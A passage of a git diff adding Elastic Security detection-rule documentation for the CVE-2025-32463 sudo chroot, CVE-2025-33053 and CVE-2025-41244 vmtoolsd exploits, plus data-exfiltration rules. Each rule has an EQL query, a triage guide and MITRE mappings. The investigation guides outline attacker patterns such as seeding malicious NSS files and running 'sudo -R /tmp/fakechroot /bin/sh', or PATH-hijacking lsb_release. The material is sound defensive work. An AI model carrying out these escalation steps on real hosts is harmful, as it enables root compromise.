the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.path like "/*/etc/nsswitch.conf" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +not file.path like ( + "/var/tmp/mkinitramfs_*", "/tmp/tmp.*/mkinitramfs_*", "/var/tmp/dracut.*", "/tmp/user/0/mkinitramfs_*", + "/var/lib/aws-replication-agent/.tmp/mkinitramfs_*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc new file mode 100644 index 0000000000..469a0eb185 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-potential-cve-2025-32463-sudo-chroot-execution-attempt]] +=== Potential CVE-2025-32463 Sudo Chroot Execution Attempt + +Detects suspicious use of sudo's --chroot / -R option consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot +* https://github.com/kh4sh3i/CVE-2025-32463 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential CVE-2025-32463 Sudo Chroot Execution Attempt* + + +This rule highlights sudo invoked with the chroot (-R/--chroot) option outside normal administration, a behavior tied to CVE-2025-32463 where attackers force sudo to load attacker-controlled NSS configs or libraries and escalate to root. An attacker pattern: running sudo -R /tmp/fakechroot /bin/sh after seeding that directory with malicious nsswitch.conf and libnss to obtain a root shell. Treat unexpected chrooted sudo on Linux hosts as high-risk privilege escalation activity. + + +*Possible investigation steps* + + +- Extract the chroot target path from the event and enumerate its etc and lib directories for attacker-seeded NSS artifacts (nsswitch.conf, libnss_*, ld.so.preload) and fake passwd/group files, noting recent mtime, ownership, and world-writable files. +- Pivot to file-creation and modification telemetry to identify processes and users that populated that path shortly before execution (e.g., curl, wget, tar, git, gcc), linking them to the invoking user to establish intent. +- Review session and process details to see if a shell or interpreter was launched inside the chroot and whether an euid transition to 0 occurred, indicating a successful privilege escalation. +- Confirm sudo's package version and build options and the user’s sudoers policy (secure_path/env_* settings and any NOPASSWD allowances) to assess exploitability and whether chroot usage was authorized. +- Collect and preserve the chroot directory contents and relevant audit/log artifacts, and scope by searching for similar chroot invocations or NSS file seeds across the host and fleet. + + +*False positive analysis* + + +- A legitimate offline maintenance session where an administrator chroots into a mounted system under /mnt or /srv using sudo --chroot to run package or initramfs commands, which will trigger when the invoked program is not in the whitelist. +- An image-building or OS bootstrap workflow that stages a root filesystem and uses sudo -R to execute a shell or build/configuration scripts inside the chroot, producing the same pattern from a known user or host context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network, revoke the invoking user’s sudo privileges, and terminate any chrooted shells or child processes spawned via “sudo -R /bin/sh” or similar executions. +- Preserve evidence and then remove attacker-seeded NSS and loader artifacts within the chroot path—delete or replace nsswitch.conf, libnss_*.so, ld.so.preload, passwd, and group files, and clean up world-writable staging directories like /tmp/fakechroot. +- Upgrade sudo to a fixed build that addresses CVE-2025-32463, and recover by restoring any modified system NSS and loader files from known-good backups while validating ownership, permissions, and hashes. +- Escalate to full incident response if a root shell or process with euid 0 is observed, if /etc/ld.so.preload or /lib/libnss_*.so outside the chroot show unauthorized changes, or if similar “sudo -R” executions appear across multiple hosts. +- Harden by updating sudoers to remove NOPASSWD for chrooted commands, enforce Defaults env_reset and secure_path with noexec, disable “--chroot” usage for non-admin workflows, and monitor for creation of libnss_*.so or nsswitch.conf in non-standard directories. +- Add platform controls by enabling SELinux/AppArmor policies on sudo and the dynamic loader, applying nodev,nosuid,noexec mounts to /tmp and build paths, and setting immutability (chattr +i) on /etc/nsswitch.conf where operationally feasible. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name == "sudo" and process.args like ("-R", "--chroot*") and +// To enforce the -R and --chroot arguments to be for sudo specifically, while wildcarding potential full sudo paths +process.command_line like ("*sudo -R*", "*sudo --chroot*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-33053-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-33053-exploitation.asciidoc new file mode 100644 index 0000000000..5768244f78 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-33053-exploitation.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-potential-cve-2025-33053-exploitation]] +=== Potential CVE-2025-33053 Exploitation + +Identifies a suspicious Diagnostics Utility for Internet Explorer child process. This may indicate the successful exploitation of the vulnerability CVE-2025-33053. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2025/stealth-falcon-zero-day/ +* https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential CVE-2025-33053 Exploitation* + + + +*Possible investigation steps* + + +- Review the process details to confirm the suspicious child process was indeed started by iediagcmd.exe. +- Check any URL file type creation before the alert and review the source of those files. +- Investigate the process tree and make sure all descendant processes are terminated. +- Examine the network activity associated with the suspicious process to detect any unauthorized data exfiltration or communication with known malicious IP addresses. +- Assess the system for any additional indicators of compromise, such as unexpected changes in system files or registry keys, which might suggest a broader attack. + + +*False positive analysis* + + +- This behavior is very rare and should be highly suspicious. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious child process identified in the alert. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar suspicious activities involving explorer.exe to enhance detection capabilities and prevent recurrence. +- Review and update endpoint security policies to restrict the execution of potentially malicious URL files. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "C:\\Program Files\\Internet Explorer\\iediagcmd.exe" and + process.name : ("route.exe", "netsh.exe", "ipconfig.exe", "dxdiag.exe", "conhost.exe", "makecab.exe") and + process.executable != null and + not process.executable : ("C:\\Windows\\System32\\route.exe", + "C:\\Windows\\System32\\netsh.exe", + "C:\\Windows\\System32\\ipconfig.exe", + "C:\\Windows\\System32\\dxdiag.exe", + "C:\\Windows\\System32\\conhost.exe", + "C:\\Windows\\System32\\makecab.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc new file mode 100644 index 0000000000..6a5a453691 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-20-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt]] +=== Potential CVE-2025-41244 vmtoolsd LPE Exploitation Attempt + +This rule looks for processes that behave like an attacker trying to exploit a known vulnerability in VMware tools (CVE-2025-41244). The vulnerable behavior involves the VMware tools service or its discovery scripts executing other programs to probe their version strings. An attacker can place a malicious program in a writable location (for example /tmp) and have the tools execute it with elevated privileges, resulting in local privilege escalation. The rule flags launches where vmtoolsd or the service discovery scripts start other child processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential CVE-2025-41244 vmtoolsd LPE Exploitation Attempt* + + +This rule flags child processes started by vmtoolsd or its version-checking script on Linux, behavior central to CVE-2025-41244 where the service executes external utilities to read version strings. It matters because a local user can coerce these invocations to run arbitrary code with elevated privileges. A typical pattern is dropping a counterfeit lsb_release or rpm in /tmp, modifying PATH, and triggering vmtoolsd/get-versions.sh so the rogue binary executes and spawns a privileged shell or installer. + + +*Possible investigation steps* + + +- Examine the executed child binary’s full path and location, flagging any binaries in writable directories (e.g., /tmp, /var/tmp, /dev/shm, or user home) or masquerading as version utilities (lsb_release, rpm, dpkg, dnf, pacman), and record owner, size, hash, and recent timestamps. +- Pull the parent’s and child’s command-line and environment to confirm PATH ordering and whether writable paths precede system binaries, capturing any evidence that get-versions.sh or vmtoolsd invoked a non-standard utility. +- Pivot to subsequent activity from the child process to see if it spawns an interactive shell, escalates EUID to root, touches /etc/sudoers or /etc/passwd, writes to privileged directories, or opens outbound connections. +- Verify integrity of open-vm-tools components by comparing hashes and file sizes of vmtoolsd and serviceDiscovery scripts with vendor packages (rpm -V or dpkg --verify) and checking for unexpected edits, symlinks, or PATH-hijackable calls within the scripts. +- Correlate filesystem creation events and terminal histories to identify the user who dropped or modified the suspicious binary and whether it appeared shortly before the alert, then assess other hosts for the same filename or hash to determine spread. + + +*False positive analysis* + + +- Routine vmtoolsd service discovery via get-versions.sh during VM boot or periodic guest info refresh can legitimately spawn version/package utilities from standard system paths with a default PATH and no execution from writable directories, yet still match this rule. +- Administrator troubleshooting or post-update validation of open-vm-tools—manually running get-versions.sh or restarting vmtoolsd—can cause a shell to launch the script and start expected system utilities in trusted locations, producing a benign alert. + + +*Response and remediation* + + +- Isolate the affected VM, stop the vmtoolsd service, terminate its spawned children (e.g., lsb_release, rpm, dpkg, or /bin/sh launched via open-vm-tools/serviceDiscovery/scripts/get-versions.sh), and temporarily remove execute permissions from the serviceDiscovery scripts to halt exploitation. +- Quarantine and remove any counterfeit or hijacked utilities and symlinks in writable locations (/tmp, /var/tmp, /dev/shm, or user home) that were executed by vmtoolsd/get-versions.sh, capturing full paths, hashes, owners, and timestamps for evidence. +- Recover by reinstalling open-vm-tools from a trusted repository and verifying integrity of vmtoolsd and serviceDiscovery scripts (rpm -V or dpkg --verify), then restart vmtoolsd only after confirming PATH does not include writable directories and that the scripts call absolute binaries under /usr/bin. +- Escalate to full incident response if a vmtoolsd child executed from a writable path ran with EUID 0, spawned an interactive shell (/bin/sh or /bin/bash), or modified /etc/sudoers or /etc/passwd, and initiate credential rotation and a host-wide compromise assessment. +- Harden hosts by enforcing a safe PATH (e.g., /usr/sbin:/usr/bin:/sbin:/bin), removing writable directories from system and user environment files, mounting /tmp,/var/tmp,/dev/shm with noexec,nosuid,nodev, and applying AppArmor/SELinux policies to block vmtoolsd from executing binaries outside system directories. +- Prevent recurrence by deploying the vendor fix for CVE-2025-41244 across all Linux VMs, pinning or replacing the open-vm-tools serviceDiscovery scripts with versions that use absolute paths, and adding EDR allowlists/blocks so vmtoolsd cannot launch binaries from writable paths. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +( + ( + process.parent.name == "vmtoolsd" + ) or + ( + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + ?process.parent.args like ("/*/open-vm-tools/serviceDiscovery/scripts/get-versions.sh") + ) +) and not ( + process.executable == null or + ?process.parent.args == "--version" or + process.args like ( + "/etc/vmware-tools/resume-vm-default", + "/etc/vmware-tools/suspend-vm-default", + "/sbin/shutdown", + "/sbin/shutdown*", + "/etc/vmware-tools/poweroff-vm-default", + "/etc/vmware-tools/poweroff-vm-default", + "/bin/touch", + "/tmp/vmware-administrator_*", + "/tmp/vmware-root_*", + "/etc/vmware-tools/scripts/vmware/network", + "/etc/vmware-tools/poweron-vm-default" + ) or + process.executable == "/usr/sbin/unix_chkpwd" or + ?process.working_directory like ("/var/opt/ds_agent", "/tmp/vmware-root_*/tmpvmware*") or + process.command_line like ("*/usr/bin/lsb_release*", "*/bin/touch*", "*/tmp/vmware-root_*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-activity-to-an-unusual-destination-port.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-activity-to-an-unusual-destination-port.asciidoc new file mode 100644 index 0000000000..f400fda6ef --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-activity-to-an-unusual-destination-port.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-potential-data-exfiltration-activity-to-an-unusual-destination-port]] +=== Potential Data Exfiltration Activity to an Unusual Destination Port + +A machine learning job has detected data exfiltration to a particular destination port. Data transfer patterns that are outside the normal traffic patterns of an organization could indicate exfiltration over command and control channels. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/ded +* https://www.elastic.co/blog/detect-data-exfiltration-activity-with-kibanas-new-integration + +*Tags*: + +* Use Case: Data Exfiltration Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Activity to an Unusual Destination Port* + + +Machine learning models analyze network traffic to identify anomalies, such as data transfers to uncommon destination ports, which may suggest exfiltration via command and control channels. Adversaries exploit these channels to stealthily siphon data. This detection rule leverages ML to flag deviations from normal traffic patterns, aiding in early identification of potential threats. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address associated with the unusual destination port activity. Determine if this IP is known or expected within the organization's network. +- Analyze the destination port and associated IP address to assess whether it is commonly used for legitimate purposes or if it is known for malicious activity. Cross-reference with threat intelligence databases if necessary. +- Examine the volume and frequency of data transferred to the unusual destination port to identify any patterns or anomalies that deviate from normal behavior. +- Investigate the user or system account associated with the source IP to determine if there are any signs of compromise or unauthorized access. +- Check for any recent changes or updates in the network configuration or security policies that might explain the anomaly. +- Correlate this event with other security alerts or logs to identify any related suspicious activities or patterns that could indicate a broader threat. + + +*False positive analysis* + + +- Routine data transfers to external services using uncommon ports may trigger false positives. Identify and document these services to create exceptions in the monitoring system. +- Internal applications that use non-standard ports for legitimate data transfers can be mistaken for exfiltration attempts. Regularly update the list of approved applications and their associated ports to minimize false alerts. +- Scheduled data backups to cloud services or remote servers might use unusual ports. Verify these activities and configure the system to recognize them as non-threatening. +- Development and testing environments often use non-standard ports for various operations. Ensure these environments are well-documented and excluded from exfiltration alerts when appropriate. +- Collaborate with network administrators to maintain an updated inventory of all legitimate network activities and their corresponding ports, reducing the likelihood of false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat. +- Conduct a thorough analysis of the network traffic logs to identify the scope of the exfiltration and determine if other systems are affected. +- Block the identified unusual destination port at the network perimeter to prevent further unauthorized data transfers. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to block similar exfiltration attempts in the future. +- Notify the incident response team and relevant stakeholders about the potential data breach for further investigation and escalation. +- Perform a comprehensive scan of the affected system for malware or unauthorized software that may have facilitated the exfiltration. +- Implement enhanced monitoring on the affected system and network segment to detect any further suspicious activity. + +==== Setup + + + +*Setup* + + +The rule requires the Data Exfiltration Detection integration assets to be installed, as well as network and file events collected by integrations such as Elastic Defend and Network Packet Capture (for network events only). + + +*Data Exfiltration Detection Setup* + +The Data Exfiltration Detection integration detects data exfiltration activity by identifying abnormalities in network and file events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Data Exfiltration Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Network events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] or https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Data Exfiltration Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Data Exfiltration Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-through-curl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-through-curl.asciidoc new file mode 100644 index 0000000000..a00f432f95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-data-exfiltration-through-curl.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-potential-data-exfiltration-through-curl]] +=== Potential Data Exfiltration Through Curl + +Detects the use of curl to upload files to an internet server. Threat actors often will collect and exfiltrate data on a system to their C2 server for review. Many threat actors have been observed using curl to upload the collected data. Use of curl in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://everything.curl.dev/usingcurl/uploads +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Auditd Manager +* Data Source: Windows Security Event Logs + +*Version*: 7 + +*Rule authors*: + +* Elastic + 